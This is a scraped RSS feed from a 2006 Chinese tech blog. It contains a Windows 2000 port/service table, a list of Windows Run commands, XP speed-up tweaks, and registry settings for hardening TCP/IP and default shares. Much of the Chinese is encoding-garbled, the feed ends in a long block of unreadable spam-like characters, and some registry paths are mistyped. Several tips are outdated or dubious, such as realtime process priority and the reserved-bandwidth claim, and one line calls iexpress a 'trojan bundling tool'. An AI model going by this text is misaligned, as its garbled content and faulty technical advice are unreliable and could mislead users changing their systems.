Win2000中的各种服务和端口对应表http://www.tkk7.com/computerboy/archive/2006/05/12/45824.htmlComputerboyComputerboyFri, 12 May 2006 05:30:00 GMThttp://www.tkk7.com/computerboy/archive/2006/05/12/45824.htmlhttp://www.tkk7.com/computerboy/comments/45824.htmlhttp://www.tkk7.com/computerboy/archive/2006/05/12/45824.html#Feedback0http://www.tkk7.com/computerboy/comments/commentRss/45824.htmlhttp://www.tkk7.com/computerboy/services/trackbacks/45824.htmlecho  7/tcp
echo  7/udp
discard   9/tcp sink null
discard   9/udp sink null
systat   11/tcp users #Active users
systat   11/tcp users #Active users
daytime   13/tcp
daytime   13/udp
qotd   17/tcp quote #Quote of the day
qotd   17/udp quote #Quote of the day
chargen   19/tcp ttytst source #Character generator
chargen   19/udp ttytst source #Character generator
ftp-data   20/tcp #FTP, data
ftp   21/tcp #FTP. control
telnet   23/tcp
smtp    25/tcp mail #Simple Mail Transfer Protocol
time     37/tcp timserver
time     37/udp timserver
rlp   39/udp resource #Resource Location Protocol
nameserver    42/tcp name #Host Name Server
nameserver    42/udp name #Host Name Server
nicname    43/tcp whois
domain    53/tcp #Domain Name Server
domain    53/udp #Domain Name Server
bootps    67/udp dhcps #Bootstrap Protocol Server
bootpc    68/udp dhcpc #Bootstrap Protocol Client
tftp    69/udp #Trivial File Transfer
gopher    70/tcp
finger   79/tcp
http     80/tcp www www-http #World Wide Web
kerberos    88/tcp krb5 kerberos-sec #Kerberos
kerberos    88/udp krb5 kerberos-sec #Kerberos
hostname   101/tcp hostnames #NIC Host Name Server
iso-tsap     102/tcp #ISO-TSAP Class 0
rtelnet     107/tcp #Remote Telnet Service
pop2      109/tcp postoffice #Post Office Protocol - Version 2
pop3     110/tcp #Post Office Protocol - Version 3
sunrpc   111/tcp rpcbind portmap #SUN Remote Procedure Call
sunrpc    111/udp rpcbind portmap #SUN Remote Procedure Call
auth      113/tcp ident tap #Identification Protocol
uucp-path   117/tcp
nntp    119/tcp usenet #Network News Transfer Protocol
ntp     123/udp #Network Time Protocol
epmap    135/tcp loc-srv #DCE endpoint resolution
epmap    135/udp loc-srv #DCE endpoint resolution
netbios-ns    137/tcp nbname #NETBIOS Name Service
netbios-ns    137/udp nbname #NETBIOS Name Service
netbios-dgm    138/udp nbdatagram #NETBIOS Datagram Service
netbios-ssn    139/tcp nbsession #NETBIOS Session Service
imap    143/tcp imap4 #Internet Message Access Protocol
pcmail-srv    158/tcp #PCMail Server
snmp    161/udp #SNMP
snmptrap    162/udp snmp-trap #SNMP trap
print-srv    170/tcp #Network PostScript
bgp    179/tcp #Border Gateway Protocol
irc    194/tcp #Internet Relay Chat Protocol
ipx    213/udp #IPX over IP
ldap    389/tcp #Lightweight Directory Access Protocol
https    443/tcp MCom
https    443/udp MCom
microsoft-ds    445/tcp
microsoft-ds    445/udp
kpasswd    464/tcp # Kerberos (v5)
kpasswd    464/udp # Kerberos (v5)
isakmp     500/udp ike #Internet Key Exchange
exec     512/tcp #Remote Process Execution
biff       512/udp comsat
login     513/tcp #Remote Login
who     513/udp whod
cmd     514/tcp shell
syslog     514/udp
printer     515/tcp spooler
talk      517/udp
ntalk    518/udp
efs      520/tcp #Extended File Name Server
router     520/udp route routed
timed      525/udp timeserver
tempo     526/tcp newdate
courier    530/tcp rpc
conference      531/tcp chat
netnews      532/tcp readnews
netwall      533/udp #For emergency broadcasts
uucp     540/tcp uucpd
klogin      543/tcp #Kerberos login
kshell     544/tcp krcmd #Kerberos remote shell
new-rwho     550/udp new-who
remotefs     556/tcp rfs rfs_server
rmonitor     560/udp rmonitord
monitor      561/udp
ldaps      636/tcp sldap #LDAP over TLS/SSL
doom     666/tcp #Doom Id Software
doom     666/udp #Doom Id Software
kerberos-adm     749/tcp #Kerberos administration
kerberos-adm     749/udp #Kerberos administration
kerberos-iv      750/udp #Kerberos version IV
kpop     1109/tcp #Kerberos POP
phone    1167/udp #Conference calling
ms-sql-s     1433/tcp #Microsoft-SQL-Server
ms-sql-s     1433/udp #Microsoft-SQL-Server
ms-sql-m    1434/tcp #Microsoft-SQL-Monitor
ms-sql-m    1434/udp #Microsoft-SQL-Monitor
wins      1512/tcp #Microsoft Windows Internet Name Service
wins      1512/udp #Microsoft Windows Internet Name Service
ingreslock      1524/tcp ingres
l2tp      1701/udp #Layer Two Tunneling Protocol
pptp    1723/tcp #Point-to-point tunnelling protocol
radius    1812/udp #RADIUS authentication protocol
radacct     1813/udp #RADIUS accounting protocol
nfsd     2049/udp nfs #NFS server
knetd     2053/tcp #Kerberos de-multiplexor
man     9535/tcp #Remote Man Server



Computerboy 2006-05-12 13:30 发表评论
]]>
操作pȝq行命o?/title><link>http://www.tkk7.com/computerboy/archive/2006/04/30/44119.html</link><dc:creator>Computerboy</dc:creator><author>Computerboy</author><pubDate>Sun, 30 Apr 2006 01:07:00 GMT</pubDate><guid>http://www.tkk7.com/computerboy/archive/2006/04/30/44119.html</guid><wfw:comment>http://www.tkk7.com/computerboy/comments/44119.html</wfw:comment><comments>http://www.tkk7.com/computerboy/archive/2006/04/30/44119.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.tkk7.com/computerboy/comments/commentRss/44119.html</wfw:commentRss><trackback:ping>http://www.tkk7.com/computerboy/services/trackbacks/44119.html</trackback:ping><description><![CDATA[ <p> <font face="宋体">前些天在整理东西Q觉得应该发到博客上?br /><br /><br />write-----------------写字?br />winmsd--------------pȝ信息 <br />wiaacmgr-----------扫描仪和照相机向对{ <br />winchat-------------XP自带局域网聊天<br />mem.exe-----------昄内存使用情况<br />Msconfig.exe------pȝ配置实用E序 <br />mplayer2------------易widnows media player<br />mspaint--------------d?br />mstsc----------------q程桌面q接<br />mplayer2------------媒体播放?br />magnify--------------攑֤镜实用程?br />mmc------------------打开控制?br />mobsync------------同步命o<br />dxdiag---------------查DirectX信息<br />drwtsn32------ ---pȝȝ<br />devmgmt.msc--- 讑֤理?br />dfrg.msc------------盘片整理E序<br />diskmgmt.msc----盘理实用E序<br />dcomcnfg----------打开pȝlg服务<br />ddeshare-----------打开DDE׃n讄<br />dvdplay-------------DVD播放?br />net stop messenger-----停止信服务<br />net start messenger----开始信使服?<br />notepad-----------打开C?br />nslookup----------|络理的工具向?br />ntbackup---------pȝ备䆾和还?br />narrator------------屏幕“讲qCh?br />ntmsmgr.msc----Ud存储理?br />ntmsoprq.msc---Ud存储理员操作请?br />netstat -an----(TC)命o查接?br />syncapp-----------创徏一个公文包<br />sysedit------------pȝ配置~辑?br />sigverif------------文g{֐验证E序<br />sndrec32---------录音?br />shrpubw----------创徏׃n文g?br />secpol.msc-------本地安全{略<br />syskey-------------pȝ加密Q一旦加密就不能解开Q保护windows xppȝ的双重密?br />services.msc-----本地服务讄<br />Sndvol32---------音量控制E序<br />sfc.exe------------pȝ文g查器<br />sfc /scannow---windows文g保护<br />tsshutdn----------60U倒计时关机命?br />tourstart----------xp介(安装完成后出现的漫游xpE序Q?br />taskmgr------------d理?br />tasklist /SVC-----查看q程详细信息<br />eventvwr---------事g查看?br />eudcedit----------造字E序 <br />explorer-----------打开资源理?br />packager---------对象包装E序<br />perfmon.msc----计算机性能监测E序<br />progman----------E序理?br />regedit.exe------注册?<br />rsop.msc----------l策略结果集<br />regedt32---------注册表编辑器<br />rononce -p -----15U关?br />regsvr32 /u *.dll----停止dll文gq行<br />regsvr32 /u zipfldr.dll------取消ZIP支持<br />rundll32.exe shell32.dll,Control_RunDLL ---------------------------昄控制面板<br />rundll32.exe shell32.dll,Control_RunDLL access.cpl,,1----------昄辅助功能选项<br />rundll32.exe shell32.dll,Control_RunDLL sysdm.cpl @1Q----打开pȝ属?br />rundll32.exe shell32.dll,Control_RunDLL appwiz.cpl,,1Q-----删除或添加程?br />rundll32.exe syncui.dll,Briefcase_CreateQ-Q-----------------桌面上徏立公文包<br />rundll32.exe diskcopy.dll,DiskCopyRunDllQ-Q----------------复制软盘驱动?br />rundll32.exe shell32.dll,Control_RunDLL timedate.cpl,,0Q-昄旉属?br />rundll32.exe shell32.dll,Control_RunDLL desk.cpl,,0Q-Q-昄桌面墙纸属?br />rundll32.exe shell32.dll,Control_RunDLL joy.cpl,,0Q-Q-Q游戏控制器<br />rundll32.exe shell32.dll,Control_RunDLL mmsys.cpl,,0Q-Q音频属?br />cmd.exe----------CMD命o提示W?br />chkdsk.exe------Chkdsk盘?br />certmgr.msc-----证书理实用E序<br />calc----------------启动计算?br />charmap----------启动字符映射?br />cliconfg-----------SQL SERVER 客户端网l实用程?br />Clipbrd-------------剪脓板查看器<br />conf---------------启动netmeeting<br />compmgmt.msc---计算机管?br />cleanmgr---------垃圾整理<br />ciadv.msc--------索引服务E序<br />osk-----------------打开屏幕键盘<br />odbcad32-------ODBC数据源管理器<br />oobe/msoobe /a----查XP是否Ȁz?br />lusrmgr.msc----本机用户和组<br />logoff-------------注销命o<br />iexpress---------木马捆绑工具Q系l自带 <br />ipconfig ---------查看当前所有IP地址<br />Nslookup--------IP地址侦测?br />fsmgmt.msc---׃n文g夹管理器<br />utilman----------辅助工具理?br />gpedit.msc-----l策?/font> </p> <img src ="http://www.tkk7.com/computerboy/aggbug/44119.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.tkk7.com/computerboy/" target="_blank">Computerboy</a> 2006-04-30 09:07 <a href="http://www.tkk7.com/computerboy/archive/2006/04/30/44119.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Windows XPpȝ最强的启动提速技?/title><link>http://www.tkk7.com/computerboy/archive/2006/04/10/40232.html</link><dc:creator>Computerboy</dc:creator><author>Computerboy</author><pubDate>Mon, 10 Apr 2006 06:07:00 GMT</pubDate><guid>http://www.tkk7.com/computerboy/archive/2006/04/10/40232.html</guid><wfw:comment>http://www.tkk7.com/computerboy/comments/40232.html</wfw:comment><comments>http://www.tkk7.com/computerboy/archive/2006/04/10/40232.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.tkk7.com/computerboy/comments/commentRss/40232.html</wfw:commentRss><trackback:ping>http://www.tkk7.com/computerboy/services/trackbacks/40232.html</trackback:ping><description><![CDATA[ <p>首先Q打开“系l属性?在我的电脑上点右?属性,或者在控制面板里打开“系l”,<br />快捷键win+pause break)点“高U”选项卡,在“启动和故障恢复”区里打开“设|”,<br />L“系l启动”区里的两个√,如果是多pȝ的用户保留“显C操作系l列表的旉”的√?br />点“编辑”确定启动项的附加属性ؓ /fastdetect而不要改为nodetectQ?br />先不要加 /noguiboot属性,因ؓ后面q要用到guiboot?/p> <p>  接下来这一步很关键Q在“系l属性”里打开“硬件”选项卡,打开“设备管理器”,<br />展开“IDE ATA/ATAPI控制器”,双击打开“次要IDE通道”属性,点“高U设|”选项卡,<br />把设??的传送模式改为DMA若可用,讑֤cd如果可以选择“无”就选ؓ“无”,<br />点确定完成设|,同样的方法设|“主要IDE通道”?/p> <p>  打开注册?开?q行-regedit)Q单几Z我的电脑”打开“编辑”菜单的“查䏀,<br />输入AutoEndTasksQ点“查找下一个”。双L开扑ֈ的结果修改“数值数据”ؓ1?br />然后在AutoEndTasks的下面可以找到HungAppTimeoutQWaitToKillAppTimeoutQ?br />把“数值数据”设?000或者更,在这里顺便也把菜单gq的旉修改一下,<br />在AutoEndTasks的下面找到MenuShowDelayQ数值是以毫Uؓ单位Q如果希望去掉菜单gq就设ؓ0?/p> <p>  修改后点“编辑”菜单,打开“查找下一个?快捷键F3)Q把扑ֈ的结果都安装上一步的Ҏ修改?/p> <p>  现在启动和关机的加速都已经完成Q重启一下电脑感受一下极速启动的感觉吧,滚动条是不是只{一二圈OK了?/p> <p>  享受了极速重启的乐趣后我们再q一步加速一下启动的速度Q?br />打开“系l属性? “高U?“启动和故障恢复”设|,打开“系l启动”区的编?br />在fastdetect的后面加?/noguibootQ这样在启动的时候就不会再显C滚动条?br />如果你非常喜Ƣ这个滚动条的显C一步就不用做了?/p> <p> </p> <p> </p> <p> <br />*********************************************************************</p> <p> <br />注册表优化方?/p> <p>  1、启用CPU L2 Cahce</p> <p>  到注册表HKCU_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management下,新徏Dword?</p> <p>SecondLevelDataCacheQ修改这个gؓ你的CPU的二U缓存的大小Q填写的时候?0q制倹{?br />你可以通过修改Dword值“SecondLevelDataCache”将CPU?U缓存变?56KBQ然后重新启动电脑即可?/p> <p> <br />2、修改磁盘缓存加速XP</p> <p>  盘~存对XPq行L臛_重要的作用,但是默认的I/O面文g比较保守。所以,对于不同的内存,采用不同的磁盘缓存是比较好的做法?/p> <p>  到注册表HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\IoPageLockLimitQ?br />Ҏ你的内存修改其十六进制?64M: 1000;128M: 4000;256M: 10000;512M或更? 40000)?/p> <p>  3、去掉菜单gq?/p> <p>  把滑单时的gq去掉,可以在一定程度上加快XP。要修改的键值在HKEY_CURRENT_USERControl PanelDesktop?br />具体要修改的键名为“MenuShowDelay”,只需把值改?得了。当然要重新启动计算机后更改才生效?/p> <p>  4、指定进E次?/p> <p>  同时按下Control+Alt+Delete三个键,然后点击“Processes(q程)”选项卡,可以看到一个对话框Q?br />在这里可以看到目前正在运行的所有进E。如果要Z个程序分配更多的q程旉Q如3D Studio MaxQ?br />只需右键点击q个q程Q再把鼠标指针向下移动到“Set Priority>(讄优先U?”,然后选择你想要这个程序处在哪个优先?br />当我接收emailӞ我会?DMAX设ؓ“标准”,但当我离开计算机的时候,我会把它的优先提升为最高的“实时”,<br />q样可以计算机更专注更快速地处理3D动作?/p> <p>  5、取消Windows XP专业版中的保留带?/p> <p>  ׃专业版在|络上的需要,所以设定了20%的默认保留带宽,其实对于个h用户Q这些保留的带宽是没有用处的Q?br />使用l策略编辑器可以取消保留带宽?/p> <p>  在“开始”→“运行”中输入gpedit.mscQ打开l策略编辑器。找到“计机配置”→“管理模李쀝→“网l”→“QoS数据包调度程序”,<br />选择双的“限制可保留带宽”,选择“属性”就可以打开囄Q选择“禁用”即可。这对于使用Modem的用h非常有好处的—?br />释放了保留的带宽可加快上|浏览下载的速度!</p> <p>  6、Windows XP不检查预定Q?/p> <p>  通常情况下,当Windows XPq接到其它计机Ӟ会检查对Ҏ子上所有预定的dQ这个过E会让你{上30U钟Q实在太讨厌了?br />让我们来把这个过E给掉Q方法是:在注册表中找?/p> <p>  HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\</p> <p>  RemoteComputer\NameSpace。在q里面,应该有个{D6277990-4C6A-11CF-8D87-00AA0060F5BF}键。只需把它删掉Q重新启动计机后,<br />Windows׃再检查预定Q务了Q速度明显提高!</p> <p> </p> <p> </p> <p>驱动E序的优化方?</p> <p>  1、如果是Intel 8XX芯片l的话,一定要安装Intel Application AcceleratorQ安装以后系l优化很明显。这个东西可以到Intel官方|站下蝲?/p> <p>    2、如果是非Intel芯片l的LQ安装相应的补丁E序是必不可的Q如VIA?in1E序{等?/p> <p>  3、尽量用通过了WHL认证的驱动程序。这U驱动程序通过了微软硬件实验室的认证,在稳定性和兼容性上有很大的优势?/p> <p>其他优化Ҏ<br />     1、启动加?br />虽然Windows XP的启动速度比Windows 98有了很大提高Q但q是有加速的余力。到微Y站点下蝲Bootvis.exe文gQ启动它Q?br />依次选择菜单里面的Trace→Optimize SystemQ这时候系l会提示是否重新启动Q选择启动Q重启登录以后什么都别动Q?br />q一D|间会自动弹出一个对话框Q对话框上写着pȝ分析{提CZ息,你什么都别做Q一直等到提C分析完毕,q样启动速度明显提高了?/p> <p> <br />2、去掉不必要的服?/p> <p>  每次Windows XP启动之后Q随之也启动了许多服务,其中部分服务对于很多用户来说是没用的Qƈ且占用了内存Q?br />下面我们来看一下哪些服务有必要x?/p> <p>  点击“开始”→“运行”,输入命o“services.msc”,打开“服务”对话框Q?br />(注意:必须以管理员?Administrators l成员n份登录才能完成该q程。如果计机与网l连接,则网l策略设|也可以L您完成此步骤?</p> <p>  Clipbook Server(文gҎ务器):q个服务允许你们|络上的其他用户看到你的文g夏V?br />在这里我要强烈徏议你把它改ؓ手动启动Q然后再使用其他E序在你的网l上发布信息?/p> <p>  Messenger(消息):在网l上发送和接收信息。如果你关闭了AlerterQ你可以安全地把它改为手动启动?/p> <p>  Printer Spooler(打印后台处理E序):如果你没有配|打印机Q徏议改为手动启动或q脆关闭它?/p> <p>  Error Reporting Service(错误报告):服务和应用程序在非标准环境下q行时提供错误报告。徏议改为手动启动?/p> <p>  Fast User Switching Compatibility(快速用户切换兼Ҏ?:改ؓ手动启动?/p> <p>  Automatic Updates(自动更新):q个功能前面已经讲过了,在这里可以改为手动启动?/p> <p>  Net Logon(|络注册):处理象注册信息那L|络安全功能。你可以把它改ؓ手动启动?/p> <p>  Network DDE和Network DDE DSDM(动态数据交?:除非你准备在|上׃n你的OfficeQ否则你应该把它改ؓ手动启动?br />?q和在通常的商务设定中使用Office不同(如果你需要DDEQ你׃知道)?/p> <p>  NT LM Security Support(NT LM安全支持提供?:在网l应用中提供安全保护。徏议改为手动启动?/p> <p>  Remote Desktop Help Session Manager(q程桌面帮助会话理?:改ؓ手动启动?/p> <p>  Remote Registry(q程注册?:使远E用戯修改此计机上的注册表设|。徏议改为手动启动?/p> <p>  Task Scheduler(d调度E序):使用戯在此计算Z配置和制定自动Q务的日程Q它计划每星期的片整理{?<br />除非你实在太懒了Q连在电脑上开一下都不想Q徏议改为手动启动?/p> <p>  Uninterruptible Power Supply(不间断电?:用来理你的UPS。如果你没有UPS的话Q把它改为手动启动或q脆关闭它?/p> <p>  Windows Image Acquisition (WIA)(Windows 囑փ获取):为扫描A和照相机提供囑փ捕获Q如果你没有q些讑֤Q?br />改ؓ手动启动或干脆关闭它?/p> <p> </p> <p>3、用固定的虚拟~存 </p> <p>  把最大值和最值都讄?82MQ而不你的物理内存的大小?br />4、确保内存用优先用于程序,CPU计划优先用于E序</p> <p>  先打开“系l”属性,然后选择“高U”选项卡,在“性能”栏里面点击“设|”按钮,打开“性能”选项对话框,<br />然后打开“高U”选项卡,在“处理器计划”一栏里面选择“程序”,在“内存用”一栏上选择“程序”,然后点击“确定”退出?/p> <p> </p> <p>5、清除预L?/p> <p>  当XP使用一D|间后Q预L件夹里的文g会变的很大,里面会有死链文gQ这会减慢系l时间。徏议,<br />定期删除q些文g(c:\windows\prefetch)?/p> <p>6、减磁盘扫描等待时?/p> <p>  在Dos下,键入“chkntfs/t:0”,其中?”表C等待时间ؓ0U?/p> <p> <br />7、关闭磁盘烦?/p> <p>  XPU录了所有文件以便快速搜索,如果你不l常查找文gQ可它关闭。具体方法是:打开我的电脑Q右击驱动器Q?br />选“属性”,取消“用烦引以便快速查找文件”?/p> <p> </p> <p> </p> <p> <br /> </p> <img src ="http://www.tkk7.com/computerboy/aggbug/40232.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.tkk7.com/computerboy/" target="_blank">Computerboy</a> 2006-04-10 14:07 <a href="http://www.tkk7.com/computerboy/archive/2006/04/10/40232.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>修改Win2000注册表以加强pȝ安全http://www.tkk7.com/computerboy/archive/2006/03/17/35821.htmlComputerboyComputerboyFri, 17 Mar 2006 06:20:00 GMThttp://www.tkk7.com/computerboy/archive/2006/03/17/35821.htmlhttp://www.tkk7.com/computerboy/comments/35821.htmlhttp://www.tkk7.com/computerboy/archive/2006/03/17/35821.html#Feedback0http://www.tkk7.com/computerboy/comments/commentRss/35821.htmlhttp://www.tkk7.com/computerboy/services/trackbacks/35821.html  1)讄生存旉

  HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters

  DefaultTTL REG_DWORD 0-0xff(0-255 十进?默认?28)

  说明:指定传出IP数据包中讄的默认生存时?TTL)?TTL军_了IP数据包在到达目标前在|络中生存的最大时?它实际上限定了IP数据包在丢弃前允讔R过的\由器数量.有时利用此数值来探测q程L操作pȝ.

  2)防止ICMP重定向报文的d    

  HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters

  EnableICMPRedirects REG_DWORD 0x0(默认gؓ0x1)

  说明:该参数控制Windows 2000是否会改变其路由表以响应|络讑֤(如\由器)发送给它的ICMP重定向消?有时会被利用来干坏事.Win2000中默认gؓ1,表示响应ICMP重定向报?

  3)止响应ICMP路由通告报文

  HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\interface

  PerFORMRouterDiscovery REG_DWORD 0x0(默认gؓ0x2)

  说明:“ICMP路由公告”功能可造成他h计算机的|络q接异常,数据被窃?计算用于量d{严重后?此问题曾D校园|某些局域网大面U?长时间的|络异常.因此关闭响应ICMP路由通告报文.Win2000中默认gؓ2,表示当DHCP发送\由器发现选项时启?

  4)防止SYNz水d

  HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters

  SynAttackProtect REG_DWORD 0x2(默认gؓ0x0)

  说明:SYNd保护包括减少SYN-ACK重新传输ơ数,以减分配资源所保留的时?路由~存资源分配gq?直到建立q接为止.如果synattackprotect=2,则AFD的连接指CZ直gq到三\握手完成为止.注意,仅在TcpMaxHalfOpen和TcpMaxHalfOpenRetried讄出范围?保护机制才会采取措施?/p>

  5) 止C$、D$一cȝ~省׃n

  HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters

  AutoShareServer、REG_DWORD?x0

  6) 止ADMIN$~省׃n

  HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters

  AutoShareWks、REG_DWORD?x0

  7) 限制IPC$~省׃n

  HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa

  restrictanonymous REG_DWORD 0x0 ~省0x1 匿名用户无法列D本机用户列表0x2 匿名用户无法q接本机IPC$׃n说明:不徏议?Q否则可能会造成你的一些服务无法启动,如SQL Server

  8)不支持IGMP协议

  HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters

  IGMPLevel REG_DWORD 0x0(默认gؓ0x2)

  说明:记得Win9x下有个bug,是用可以用IGMP使别?修改注册表可以修正这个bug.Win2000虽然没这个bug?但IGMPq不是必要的,因此照样可以L.Ҏ0后用route print看不到那个讨厌?24.0.0.0了.

  9)讄arp~存老化旉讄

  HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services:\Tcpip\Parameters

  ArpCacheLife REG_DWORD 0-0xFFFFFFFF(U数,默认gؓ120U?ArpCacheMinReferencedLife REG_DWORD 0-0xFFFFFFFF(U数,默认gؓ600)

  说明:如果ArpCacheLife大于或等于ArpCacheMinReferencedLife,则引用或未引用的ARP~存在ArpCacheLifeU后到期.如果ArpCacheLife于ArpCacheMinReferencedLife,未引用项在ArpCacheLifeU后到期,而引用项在ArpCacheMinReferencedLifeU后到期.每次出站数据包发送到的IP地址?׃引用ARP~存中的V?/p>

10)止ȝ关监技?/p>

  HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services:\Tcpip\Parameters

  EnableDeadGWDetect REG_DWORD 0x0(默认gؓox1)

  说明:如果你设|了多个|关,那么你的机器在处理多个连接有困难?׃自动改用备䆾|关.有时候这q不是一好L,止ȝ关监?

  11)不支持\由功?/p>

  HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services:\Tcpip\Parameters

  IPEnableRouter REG_DWORD 0x0(默认gؓ0x0)

  说明:把D|ؓ0x1可以使Win2000具备路由功能,由此带来不必要的问题.

  12)做NAT时放大{换的对外端口最大?/p>

  HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services:\Tcpip\Parameters

  MaxUserPort REG_DWORD 5000-65534(十进?(默认?x1388--十进制ؓ5000)

  说明:当应用程序从pȝh可用的用L口数?该参数控制所使用的最大端口数.正常情况?短期端口的分配数量ؓ1024-5000.该参数讄到有效范围以外时,׃使用最接近的有效数?5000?5534).使用NAT时徏议把值放大点.

  13)修改MAC地址

  HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\

  扑ֈ右窗口的说明?|卡"的目?比如说是{4D36E972-E325-11CE-BFC1-08002BE10318}

  展开?在其下的0000,0001,0002...的分支中扑ֈ"DriverDesc"的键gؓ你网卡的说明,比如?DriverDesc"的gؓ"Intel(R) 82559 Fast Ethernet LAN on Motherboard"然后在右H口新徏一字符串?名字?Networkaddress",内容Z惌的MAC|比如说是"004040404040"然后重v计算机,ipconfig /all看看?/p>

Computerboy 2006-03-17 14:20 发表评论
]]>
վ֩ģ壺 ѾþþƷ99þ| ˾ƷƵȫ鶹| ĻƵ| ޹˾Ʒһ| ޳AVƬWWW| 椸ѹۿƵ| ޸ŮBBW| պa߹ۿ| ߹ۿ| ޻ƬëƬ߹ۿ| ѹ߾Ʒһ| պ߲Ƶһ| ޾ƷƵ| ŮƵվ| ޾ƷƵ߿| Ʒվ| ݺۺϾþۺ88| 뿨ͨҰ| AVƬ߹ۿ | һ߹ۿ| aav鶹| AƵһ| ͺˬӲƵ| ޹AVרAV| һѻɫëƬ| av| Ѹ弤Ƶ| ƷŮͬһѲ| ͵޾Ʒҳ65ҳ| þþþƷƵ| ˾Ʒձֱ | ZZIJZZIJձٸJIZJIZ| һHƬAƵѹۿ| þԭavapp | Ұ߹ۿ| ͵͵޸| Ļ| ھƷ뿨123| Ƶһ| ѹۿ| ҰƵ߹ۿ |